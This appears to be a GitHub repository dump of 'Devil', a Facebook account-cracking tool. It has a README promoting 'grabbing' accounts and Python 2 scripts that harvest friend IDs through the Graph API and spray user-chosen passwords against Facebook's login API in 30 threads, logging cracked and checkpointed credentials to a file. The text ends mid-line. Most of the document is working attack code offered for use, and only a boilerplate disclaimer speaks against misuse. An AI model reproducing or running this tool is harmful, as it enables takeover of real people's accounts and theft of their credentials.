├── ascets ├── img ├── youtube channel.png └── Screenshot_2020-08-30-14-16-35.png ├── requirements.txt ├── .gitignore ├── .github └── workflows │ └── python-publish.yml ├── LICENSE ├── README.md ├── wasi.py ├── .opt.py └── .wasii.py /ascets/img: -------------------------------------------------------------------------------- 1 | 2 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | mechanize 2 | requests 3 | lolcat 4 | phonenumbers 5 | -------------------------------------------------------------------------------- /ascets/youtube channel.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evildevill/Devil/HEAD/ascets/youtube channel.png -------------------------------------------------------------------------------- /ascets/Screenshot_2020-08-30-14-16-35.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/evildevill/Devil/HEAD/ascets/Screenshot_2020-08-30-14-16-35.png -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | *.tar 2 | *.tar.* 3 | *.jar 4 | *.exe 5 | *.msi 6 | *.zip 7 | *.tgz 8 | *.log 9 | *.log.* 10 | *.sig 11 | 12 | pkg/ 13 | src/ 14 | -------------------------------------------------------------------------------- /.github/workflows/python-publish.yml: -------------------------------------------------------------------------------- 1 | # This workflows will upload a Python Package using Twine when a release is created 2 | # For more information see: https://help.github.com/en/actions/language-and-framework-guides/using-python-with-github-actions#publishing-to-package-registries 3 | 4 | name: Upload Python Package 5 | 6 | on: 7 | release: 8 | types: [created] 9 | 10 | jobs: 11 | deploy: 12 | 13 | runs-on: ubuntu-latest 14 | 15 | steps: 16 | - uses: actions/checkout@v2 17 | - name: Set up Python 18 | uses: actions/setup-python@v2 19 | with: 20 | python-version: '3.x' 21 | - name: Install dependencies 22 | run: | 23 | python -m pip install --upgrade pip 24 | pip install setuptools wheel twine 25 | - name: Build and publish 26 | env: 27 | TWINE_USERNAME: ${{ secrets.PYPI_USERNAME }} 28 | TWINE_PASSWORD: ${{ secrets.PYPI_PASSWORD }} 29 | run: | 30 | python setup.py sdist bdist_wheel 31 | twine upload dist/* 32 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | 2 | MIT License 3 | 4 | Copyright (c) 2021 Evil Devill 5 | 6 | Permission is hereby granted, free of charge, to any person obtaining a copy 7 | of this software and associated documentation files (the "Software"), to deal 8 | in the Software without restriction, including without limitation the rights 9 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | copies of the Software, and to permit persons to whom the Software is 11 | furnished to do so, subject to the following conditions: 12 | 13 | The above copyright notice and this permission notice shall be included in all 14 | copies or substantial portions of the Software. 15 | 16 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | SOFTWARE. 23 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | #### Thank You-🙏🏼 2 | 3 |

4 | visitor badge 5 |

6 | 7 | 8 | Evil Devill (Devil FaceBook Hacking Tool) 9 | 10 | **username** `hacker` 11 | **password** `wasii` 12 |

13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 |

32 | 33 | ![Evil-Devil](https://github.com/evildevill/Devil/blob/master/ascets/Screenshot_2020-08-30-14-16-35.png) 34 | 35 | *** 36 | 37 | # About Devil Tool 38 | 39 | ``` 40 | Facebook tools keep getting more and more accessible to beginners, and the Devil Tool 41 | is a framework of serious Facebook Accounts Grabhing tools that can be explored easily from within it. 42 | This powerful and simple tool can be used for everything from installing new add-ons to grabbing 43 | a Facebook Accounts in a matter of seconds. Plus, it's easy to install, set up, and utilize. 44 | ``` 45 | 46 | *** 47 | 48 | # Getting started 49 | 50 | ## System requirements 51 | 52 | * Devil Framework only supports two OS. 53 | 54 | ``` 55 | Devil Framework only supports two 56 | operating systems - Kali Linux and Termux! 57 | ``` 58 | 59 | 60 | ## Devil Tool installation 61 | 62 | ``` 63 | > apt-get update -y 64 | 65 | > apt-get install python2 -y 66 | 67 | > pip2 install mechanize 68 | 69 | > pip2 install requests 70 | 71 | > apt-get install git -y 72 | 73 | > git clone https://github.com/evildevill/Devil.git 74 | 75 | > cd Devil 76 | 77 | > chmod +x * 78 | 79 | > python2 wasi.py 80 | 81 | ``` 82 | 83 | ``` 84 | Also, we do not recommend to change the source code of ehtools because 85 | it is very complex and you can mess up something and disrupt the framework! 86 | ``` 87 | 88 | *** 89 | 90 | # Devil Framework execution 91 | 92 | ``` 93 | To run Devil Framework you should 94 | execute the following command. 95 | ``` 96 | 97 | > python2 Devil.py 98 | 99 | *** 100 | 101 | # Why Devil Framework 102 | 103 | * More than 38 tools for pentesting installed by default. 104 | 105 | ``` 106 | More than 38 options installed by default 107 | you can find in Devil, this is tools such 108 | as MetaSploit, Pupy and other tools! 109 | ``` 110 | 111 | * Password protection and config encryption. 112 | 113 | ``` 114 | In version 2.1.6 we added pasword protection, we added 115 | it for users who think that his/her friend or parents will 116 | turn into Devil and will remove or destroy it. Only for this 117 | people we created Devil Framework password protection. 118 | ``` 119 | 120 | 121 | 122 | 123 | 124 | # SubScribe Our YouTube Channel 125 | 126 | 127 |

128 |
129 | 130 | 131 | ![devil-yellow](https://github.com/evildevill/Devil/blob/master/ascets/youtube%20channel.png) 132 | 133 | # Devil Framework disclaimer 134 | 135 | ``` 136 | Usage of the Devil Framework for attacking targets without prior mutual consent is illegal. 137 | It is the end user's responsibility to obey all applicable local, state, federal, and international laws. 138 | Developers assume no liability and are not responsible for any misuse or damage caused by this program. 139 | ``` 140 | -------------------------------------------------------------------------------- /wasi.py: -------------------------------------------------------------------------------- 1 | # Tool : Wasii ( Facebook cloning tool) 2 | # Author : Waseem Akram ( hackerwasii ) 3 | # github : https://github.com/evildevill 4 | # Note : we are not responsible for any misuse 5 | try: 6 | import os, sys, time, datetime, random, hashlib, re, threading, json, urllib, cookielib, getpass, mechanize, requests 7 | from multiprocessing.pool import ThreadPool 8 | from requests.exceptions import ConnectionError 9 | from mechanize import Browser 10 | except ImportError: 11 | os.system('pip2 install requests') 12 | os.system('pip2 install mechanize') 13 | os.system('python2 wasi.py') 14 | 15 | reload(sys) 16 | sys.setdefaultencoding('utf8') 17 | br = mechanize.Browser() 18 | br.set_handle_robots(False) 19 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 20 | br.addheaders = [('user-agent', 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]')] 21 | 22 | def exit(): 23 | print '[!] Exit' 24 | os.sys.exit() 25 | 26 | 27 | def acak(b): 28 | w = 'ahtdzjc' 29 | d = '' 30 | for i in x: 31 | d += '!' + w[random.randint(0, len(w) - 1)] + i 32 | 33 | return cetak(d) 34 | 35 | 36 | def cetak(b): 37 | w = 'ahtdzjc' 38 | for i in w: 39 | j = w.index(i) 40 | x = x.replace('!%s' % i, '\x1b[%s;1m' % str(31 + j)) 41 | 42 | x += '\x1b[0m' 43 | x = x.replace('!0', '\x1b[0m') 44 | sys.stdout.write(x + '\n') 45 | 46 | 47 | def wasii(z): 48 | for e in z + '\n': 49 | sys.stdout.write(e) 50 | sys.stdout.flush() 51 | time.sleep(0.03) 52 | 53 | 54 | banner = '\n\x1b[1;95mTool By Hacker wasii\n We are not responsible for any \nillegal activity\n \n' 55 | def tik(): 56 | titik = [ 57 | '. ', '.. ', '... '] 58 | for o in titik: 59 | print '\r[\xe2\x9c\x94] Logging In ' + o, 60 | sys.stdout.flush() 61 | time.sleep(1) 62 | 63 | 64 | back = 0 65 | id = [] 66 | 67 | def tlogin(): 68 | os.system('clear') 69 | print banner 70 | username = raw_input('[\xf0\x9f\x94\x90] \x1b[1;94mTOOL USERNAME: ') 71 | if username == 'hacker': 72 | os.system('clear') 73 | print banner 74 | print '[\xe2\x9c\x93] \x1b[1;91mTOOL USERNAME: ' + username + ' (correct)' 75 | else: 76 | print '[!] Invalid Username.' 77 | time.sleep(1) 78 | tlogin() 79 | passw = raw_input('[\xf0\x9f\x94\x90] \x1b[1;94mTOOL PASSWORD: ') 80 | if passw == 'wasii': 81 | os.system('clear') 82 | print banner 83 | print '[\xe2\x9c\x93] \x1b[1;91mTOOL USERNAME: ' + username + ' (correct)' 84 | print '[\xe2\x9c\x93] \x1b[1;91mTOOL PASSWORD: ' + passw + ' (correct)' 85 | time.sleep(2) 86 | else: 87 | print '[!] Invalid Password.' 88 | time.sleep(1) 89 | tlogin() 90 | try: 91 | toket = open('login.txt', 'r') 92 | os.system('python2 .wasii.py') 93 | except (KeyError, IOError): 94 | methodlogin() 95 | else: 96 | print '[!] Invalid Password' 97 | time.sleep(1) 98 | tlogin() 99 | 100 | 101 | def methodlogin(): 102 | os.system('clear') 103 | print banner 104 | print '[1] \x1b[1;93m Login With ID/Password.' 105 | print '[2] \x1b[1;93mLogin Using Token.( No Identity Problem )' 106 | print '[3] \x1b[1;93mExit.' 107 | print ' ' 108 | hos = raw_input('\n \x1b[1;92mChoose Option >> ') 109 | if hos == '': 110 | print '[!] Wrong Input' 111 | exit() 112 | elif hos == '1': 113 | login() 114 | elif hos == '2': 115 | os.system('clear') 116 | print banner 117 | hosp = raw_input('[\xf0\x9f\x94\x91] \x1b[1;91mGive Token : ') 118 | tik() 119 | hopa = open('login.txt', 'w') 120 | hopa.write(hosp) 121 | hopa.close() 122 | print '\n[\xe2\x9c\x93] \x1b[1;91mLogged In Successfully.' 123 | time.sleep(1) 124 | os.system('xdg-open https://www.youtube.com/channel/HackerWasii') 125 | os.system('python2 .wasii.py') 126 | elif hos == '0': 127 | exit() 128 | else: 129 | print '[!] \x1b[1;91mWrong Input' 130 | exit() 131 | 132 | 133 | def login(): 134 | os.system('clear') 135 | try: 136 | tb = open('login.txt', 'r') 137 | os.system('python2 .wasii.py') 138 | except (KeyError, IOError): 139 | os.system('clear') 140 | print banner 141 | wasii('[\xf0\x9f\x94\x90] \x1b[1;96mLogin Your Facebook Account') 142 | wasii('[\xf0\x9f\x94\x90] \x1b[1;96mDonot Use Your Personal Account') 143 | wasii('[\xf0\x9f\x94\x90] \x1b[1;96mUse a New Facebook Account To Login') 144 | print '-------------------------------------' 145 | iid = raw_input('[+] Number/Email: ') 146 | id = iid.replace(' ', '') 147 | pwd = raw_input('[+] Password : ') 148 | tik() 149 | data = br.open('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=1&email=' + id + '&locale=en_US&password=' + pwd + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 150 | z = json.load(data) 151 | if 'access_token' in z: 152 | st = open('login.txt', 'w') 153 | st.write(z['access_token']) 154 | st.close() 155 | print '\n[\xe2\x9c\x93] \x1b[1;91mLogged In Successfully.' 156 | time.sleep(1) 157 | os.system('xdg-open https://www.youtube.com/channe/HackerWasii') 158 | os.system('clear') 159 | os.system('python2 .wasii.py') 160 | elif 'www.facebook.com' in z['error_msg']: 161 | print '[!] \x1b[1;91mUser Must Verify Account Before Login.' 162 | time.sleep(3) 163 | login() 164 | else: 165 | print '[!]\x1b[1;91mNumber/User Id/ Password Is Wrong !' 166 | time.sleep(1) 167 | login() 168 | 169 | 170 | if __name__ == '__main__': 171 | tlogin() -------------------------------------------------------------------------------- /.opt.py: -------------------------------------------------------------------------------- 1 | # Tool : Wasii ( Facebook cloning tool) 2 | # Author : Waseem Akram ( hackerwasii ) 3 | # github : https://github.com/evildevill 4 | # Note : we are not responsible for any misuse 5 | try: 6 | import os, sys, time, datetime, random, hashlib, re, threading, json, urllib, cookielib, getpass, mechanize, requests 7 | from multiprocessing.pool import ThreadPool 8 | from requests.exceptions import ConnectionError 9 | from mechanize import Browser 10 | except ImportError: 11 | os.system('pip2 install requests') 12 | os.system('pip2 install mechanize') 13 | os.system('python2 wasi.py') 14 | 15 | reload(sys) 16 | sys.setdefaultencoding('utf8') 17 | br = mechanize.Browser() 18 | br.set_handle_robots(False) 19 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 20 | br.addheaders = [('user-agent', 'Dalvik/1.6.0 (Linux; U; Android 4.4.2; NX55 Build/KOT5506) [FBAN/FB4A;FBAV/106.0.0.26.68;FBBV/45904160;FBDM/{density=3.0,width=1080,height=1920};FBLC/it_IT;FBRV/45904160;FBCR/PosteMobile;FBMF/asus;FBBD/asus;FBPN/com.facebook.katana;FBDV/ASUS_Z00AD;FBSV/5.0;FBOP/1;FBCA/x86:armeabi-v7a;]')] 21 | 22 | def exit(): 23 | print '[!] Exit' 24 | os.sys.exit() 25 | 26 | 27 | def acak(b): 28 | w = 'ahtdzjc' 29 | d = '' 30 | for i in x: 31 | d += '!' + w[random.randint(0, len(w) - 1)] + i 32 | 33 | return cetak(d) 34 | 35 | 36 | def cetak(b): 37 | w = 'ahtdzjc' 38 | for i in w: 39 | j = w.index(i) 40 | x = x.replace('!%s' % i, '\x1b[%s;1m' % str(31 + j)) 41 | 42 | x += '\x1b[0m' 43 | x = x.replace('!0', '\x1b[0m') 44 | sys.stdout.write(x + '\n') 45 | 46 | 47 | def wasii(z): 48 | for e in z + '\n': 49 | sys.stdout.write(e) 50 | sys.stdout.flush() 51 | time.sleep(0.03) 52 | 53 | 54 | banner = '\n\x1b[1;95mTool By Hacker wasii\n We are not responsible for any \nillegal activity\n \n' 55 | back = 0 56 | threads = [] 57 | successful = [] 58 | checkpoint = [] 59 | oks = [] 60 | idh = [] 61 | id = [] 62 | 63 | def menu2(): 64 | os.system('clear') 65 | try: 66 | toket = open('login.txt', 'r').read() 67 | except IOError: 68 | os.system('clear') 69 | print '[!] Token Not Found' 70 | os.system('rm -rf login.txt') 71 | os.system('python2 wasi.py') 72 | time.sleep(1) 73 | 74 | try: 75 | otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) 76 | a = json.loads(otw.text) 77 | name = a['name'] 78 | id = a['id'] 79 | except KeyError: 80 | os.system('clear') 81 | print '[!] \x1b[1;91mAccount Is On Checkpoint' 82 | os.system('rm -rf login.txt') 83 | os.system('python2 wasi.py') 84 | time.sleep(1) 85 | except requests.exceptions.ConnectionError: 86 | print '[!]\x1b[1;91m No Connection' 87 | time.sleep(1) 88 | exit() 89 | 90 | os.system('clear') 91 | print banner 92 | print '|[\xe2\x9c\x93]\x1b[1;93m Name: ' + name 93 | print '|[\xe2\x9c\x93]\x1b[1;93m ID : ' + id 94 | print '-' + 46 * '-' 95 | print '[1] \x1b[1;93mClone With 5 Choice Passwords.' 96 | print '[2] \x1b[1;93mClone With 2 Choice Passwords.' 97 | print '[0] Back To Main Menu.' 98 | print ' ' 99 | menu2_menu() 100 | 101 | 102 | def menu2_menu(): 103 | m2m = raw_input('\nChoose Option >> ') 104 | if m2m == '': 105 | print '[!]\x1b[1;91m Filled Incorrectly.' 106 | time.sleep(1) 107 | menu2_menu() 108 | elif m2m == '1': 109 | choice1() 110 | elif m2m == '2': 111 | choice2() 112 | elif m2m == '0': 113 | os.system('clear') 114 | wasii('Please Wait.') 115 | wasii('While Is Returning To Main Menu.') 116 | time.sleep(1) 117 | os.system('python2 .wasii.py') 118 | else: 119 | print '[!] \x1b[1;91mWrong Input.' 120 | menu2_menu() 121 | 122 | 123 | def choice1(): 124 | global toket 125 | os.system('clear') 126 | try: 127 | toket = open('login.txt', 'r').read() 128 | except IOError: 129 | print '[!]\x1b[1;91m Token invalid' 130 | os.system('rm -rf login.txt') 131 | time.sleep(1) 132 | os.system('python2 wasi.py') 133 | 134 | os.system('clear') 135 | print banner 136 | print '[1] \x1b[1;95mCrack From Friend List.' 137 | print '[2] \x1b[1;95mCrack From Any Public ID.' 138 | print '[3] \x1b[1;95mCrack From File.' 139 | print '[0] Back' 140 | print ' ' 141 | choice1_menu() 142 | 143 | 144 | def choice1_menu(): 145 | global oks 146 | c1m = raw_input('\nChoose Option >> ') 147 | if c1m == '': 148 | print '[!] Fill in correctly' 149 | choice_menu() 150 | elif c1m == '1': 151 | os.system('clear') 152 | print banner 153 | pass1 = raw_input('[1\x1b[1;95m] Input Password : ') 154 | pass2 = raw_input('[2]\x1b[1;95m Input Password : ') 155 | pass3 = raw_input('[3\x1b[1;95m] Input Password : ') 156 | pass4 = raw_input('[4]\x1b[1;95m Input Password : ') 157 | pass5 = raw_input('[5]\x1b[1;95mInput Password : ') 158 | print 47 * '-' 159 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 160 | z = json.loads(r.text) 161 | for s in z['data']: 162 | id.append(s['id']) 163 | 164 | elif c1m == '2': 165 | os.system('clear') 166 | print banner 167 | idt = raw_input('[\xe2\x9c\x93] Enter ID : ') 168 | pass1 = raw_input('[1] \x1b[1;95mInput Password : ') 169 | pass2 = raw_input('[2] \x1b[1;95mInput Password : ') 170 | pass3 = raw_input('[3] \x1b[1;95mInput Password : ') 171 | pass4 = raw_input('[4]\x1b[1;95m Input Password : ') 172 | pass5 = raw_input('[5]\x1b[1;95m Input Password : ') 173 | print 47 * '-' 174 | print banner 175 | try: 176 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 177 | op = json.loads(jok.text) 178 | wasii('[\xe2\x9c\x93] \x1b[1;93mAccount Name: ' + op['name']) 179 | time.sleep(0.5) 180 | except KeyError: 181 | print '[!]\x1b[1;91m ID Not Found!' 182 | raw_input('\nPress Enter To Back ') 183 | choice1() 184 | 185 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 186 | z = json.loads(r.text) 187 | for i in z['data']: 188 | id.append(i['id']) 189 | 190 | elif c1m == '3': 191 | os.system('clear') 192 | print banner 193 | try: 194 | idlist = raw_input('[\xe2\x9c\x93]\x1b[1;95m Enter File Path : ') 195 | pass1 = raw_input('[1] \x1b[1;95mInput Password : ') 196 | pass2 = raw_input('[2] \x1b[1;95mInput Password : ') 197 | pass3 = raw_input('[3]\x1b[1;95m Input Password : ') 198 | pass4 = raw_input('[4]\x1b[1;95m Input Password : ') 199 | pass5 = raw_input('[5] \x1b[1;95mInput Password : ') 200 | print 47 * '-' 201 | for line in open(idlist, 'r').readlines(): 202 | id.append(line.strip()) 203 | 204 | except IOError: 205 | print '[!] \x1b[1;91mFile Not Found' 206 | raw_input('\nPress Enter To Back ') 207 | choice1() 208 | 209 | elif c1m == '0': 210 | menu2() 211 | else: 212 | print '[!] \x1b[1;91mFill in correctly' 213 | choice1_menu() 214 | rana = str(len(id)) 215 | wasii('[\xe2\x9c\x93] \x1b[1;91mTotal Friends: ' + rana) 216 | time.sleep(0.5) 217 | wasii('[\xe2\x9c\x93]\x1b[1;91m The Process Has Been Started.') 218 | time.sleep(0.5) 219 | wasii('[!] \x1b[1;91mPress CTRL Z To Stop Process') 220 | time.sleep(0.5) 221 | print 47 * '-' 222 | 223 | def main(arg): 224 | user = arg 225 | try: 226 | os.mkdir('Hacker_wasii') 227 | except OSError: 228 | pass 229 | 230 | try: 231 | a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) 232 | b = json.loads(a.text) 233 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 234 | q = json.load(data) 235 | if 'access_token' in q: 236 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass1 237 | oks.append(user + pass1) 238 | elif 'www.facebook.com' in q['error_msg']: 239 | print '\x1b[1;95m[\x1b[1;95mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass1 240 | crt = open('Hacker_wasii/checkpoint.txt', 'a') 241 | crt.write(user + '|' + pass1 + '\n') 242 | crt.close() 243 | checkpoint.append(user + pass1) 244 | else: 245 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 246 | q = json.load(data) 247 | if 'access_token' in q: 248 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass2 249 | oks.append(user + pass2) 250 | elif 'www.facebook.com' in q['error_msg']: 251 | print '\x1b[1;95m[\x1b[1;95mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass2 252 | crt = open('Hacker_wasii/checkpoint.txt', 'a') 253 | crt.write(user + '|' + pass2 + '\n') 254 | crt.close() 255 | checkpoint.append(user + pass2) 256 | else: 257 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 258 | q = json.load(data) 259 | if 'access_token' in q: 260 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass3 261 | oks.append(user + pass3) 262 | elif 'www.facebook.com' in q['error_msg']: 263 | print '\x1b[1;95m[\x1b[1;95mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass3 264 | crt = open('Hacker_wasii/checkpoint.txt', 'a') 265 | crt.write(user + '|' + pass3 + '\n') 266 | crt.close() 267 | checkpoint.append(user + pass3) 268 | else: 269 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 270 | q = json.load(data) 271 | if 'access_token' in q: 272 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass4 273 | oks.append(user + pass4) 274 | elif 'www.facebook.com' in q['error_msg']: 275 | print '\x1b[1;95m[\x1b[1;95mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass4 276 | crt = open('Hacker_wasii/checkpoint.txt', 'a') 277 | crt.write(user + '|' + pass4 + '\n') 278 | crt.close() 279 | checkpoint.append(user + pass4) 280 | else: 281 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass5 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 282 | q = json.load(data) 283 | if 'access_token' in q: 284 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass5 285 | oks.append(user + pass5) 286 | elif 'www.facebook.com' in q['error_msg']: 287 | print '\x1b[1;95m[\x1b[1;95mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass5 288 | crt = open('Hacker_wasii/checkpoint.txt', 'a') 289 | crt.write(user + '|' + pass5 + '\n') 290 | crt.close() 291 | checkpoint.append(user + pass5) 292 | except: 293 | pass 294 | 295 | p = ThreadPool(30) 296 | p.map(main, id) 297 | print '\x1b[1;94m----------------------------------------------' 298 | wasii('[\xe2\x9c\x93] \x1b[1;92mProcess Has Been Completed.') 299 | wasii('\x1b[1;92m[\xe2\x9c\x93] Checkpoint IDS Has Been Hacker_wasiid.') 300 | xx = str(len(oks)) 301 | xxx = str(len(checkpoint)) 302 | print '[\xe2\x9c\x93] \x1b[1;95mTotal \x1b[1;32mOK/\x1b[1;97mCP : \x1b[1;32m' + str(len(oks)) + '/\x1b[1;97m' + str(len(checkpoint)) 303 | print 47 * '-' 304 | raw_input('\nPress Enter To Back ') 305 | choice1() 306 | 307 | 308 | def choice2(): 309 | global toket 310 | os.system('clear') 311 | try: 312 | toket = open('login.txt', 'r').read() 313 | except IOError: 314 | print '[!] Token invalid' 315 | os.system('rm -rf login.txt') 316 | time.sleep(1) 317 | os.system('python2 wasi.py') 318 | 319 | os.system('clear') 320 | print banner 321 | print '[1]\x1b[1;95m Crack From Friend List.' 322 | print '[2] \x1b[1;95mCrack From Any Public ID.' 323 | print '[3] \x1b[1;95mCrack From File.' 324 | print '[0] Back' 325 | print ' ' 326 | choice2_menu() 327 | 328 | 329 | def choice2_menu(): 330 | c2m = raw_input('\nChoose Option >> ') 331 | if c2m == '': 332 | print '[!] Fill in correctly' 333 | choice_menu() 334 | elif c2m == '1': 335 | os.system('clear') 336 | print banner 337 | pass1 = raw_input('[1]\x1b[1;95m Input Password : ') 338 | pass2 = raw_input('[2]\x1b[1;95m Input Password : ') 339 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 340 | z = json.loads(r.text) 341 | for s in z['data']: 342 | id.append(s['id']) 343 | 344 | elif c2m == '2': 345 | os.system('clear') 346 | print banner 347 | idt = raw_input('[\xe2\x9c\x93] \x1b[1;95mEnter ID : ') 348 | pass1 = raw_input('[1] \x1b[1;95mInput Password : ') 349 | pass2 = raw_input('[2] \x1b[1;95mInput Password : ') 350 | print 47 * '-' 351 | try: 352 | jok = requests.get('https://graph.facebook.com/' + idt + '?access_token=' + toket) 353 | op = json.loads(jok.text) 354 | wasii('[\xe2\x9c\x93] \x1b[1;95mAccount Name: ' + op['name']) 355 | time.sleep(0.5) 356 | except KeyError: 357 | print '[!] ID Not Found!' 358 | raw_input('\nPress Enter To Back ') 359 | choice2() 360 | 361 | r = requests.get('https://graph.facebook.com/' + idt + '/friends?access_token=' + toket) 362 | z = json.loads(r.text) 363 | for i in z['data']: 364 | id.append(i['id']) 365 | 366 | elif c2m == '3': 367 | os.system('clear') 368 | print banner 369 | try: 370 | idlist = raw_input('[\xe2\x9c\x93]\x1b[1;95m Enter File Path : ') 371 | pass1 = raw_input('[1]\x1b[1;95m Input Password : ') 372 | pass2 = raw_input('[2]\x1b[1;95m Input Password : ') 373 | print 47 * '-' 374 | for line in open(idlist, 'r').readlines(): 375 | id.append(line.strip()) 376 | 377 | except IOError: 378 | print '[!] File Not Found' 379 | raw_input('\nPress Enter To Back ') 380 | choice2() 381 | 382 | elif c2m == '0': 383 | menu2() 384 | else: 385 | print '[!] Fill in correctly' 386 | choice2_menu() 387 | rana = str(len(id)) 388 | wasii('[\xe2\x9c\x93] \x1b[1;95mTotal Friends: ' + rana) 389 | time.sleep(0.5) 390 | wasii('[\xe2\x9c\x93] \x1b[1;95mThe Process Has Been Started.') 391 | time.sleep(0.5) 392 | wasii('[!] \x1b[1;95mPress CTRL Z To Stop Process.') 393 | time.sleep(0.5) 394 | print 47 * '-' 395 | 396 | def main(arg): 397 | user = arg 398 | try: 399 | os.mkdir('Hacker_wasii') 400 | except OSError: 401 | pass 402 | 403 | try: 404 | a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) 405 | b = json.loads(a.text) 406 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 407 | q = json.load(data) 408 | if 'access_token' in q: 409 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + ' \x1b[1;97m|\x1b[1;30m ' + pass1 410 | oks.append(user + pass1) 411 | elif 'www.facebook.com' in q['error_msg']: 412 | print '\x1b[1;97m[\x1b[1;97mCheckpoint\x1b[1;97m]\x1b[1;97m ' + user + ' \x1b[1;97m|\x1b[1;97m ' + pass1 413 | crt = open('Hacker_wasii/checkpoint.txt', 'a') 414 | crt.write(user + '|' + pass1 + '\n') 415 | crt.close() 416 | checkpoint.append(user + pass1) 417 | else: 418 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 419 | q = json.load(data) 420 | if 'access_token' in q: 421 | print '\x1b[1;32m[\x1b[1;32mSuccessful\x1b[1;32m]\x1b[1;30m ' + user + 